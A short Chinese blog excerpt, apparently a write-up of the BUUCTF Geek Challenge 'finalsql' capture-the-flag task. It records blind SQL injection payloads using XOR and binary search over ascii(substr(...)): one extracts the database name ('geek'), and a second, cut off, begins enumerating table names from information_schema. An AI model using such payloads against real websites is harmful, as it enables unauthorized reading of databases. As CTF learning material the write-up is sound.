buuctf 極客大挑戰 finalsql（非刷題記錄）

說來話長，這邊記錄下，頁面不一樣了，之前的注入全部行不通，考慮到最煩最難得盲注，利用二分法查找是非常快的 這邊記下playload 查庫名：id=1^(ascii(substr((select(database())),1,1))>1)^1 庫名爲geek 查表名：id=1^(ascii(substr((select(group_concat(table_name))from(informatio

>>阅读原文<<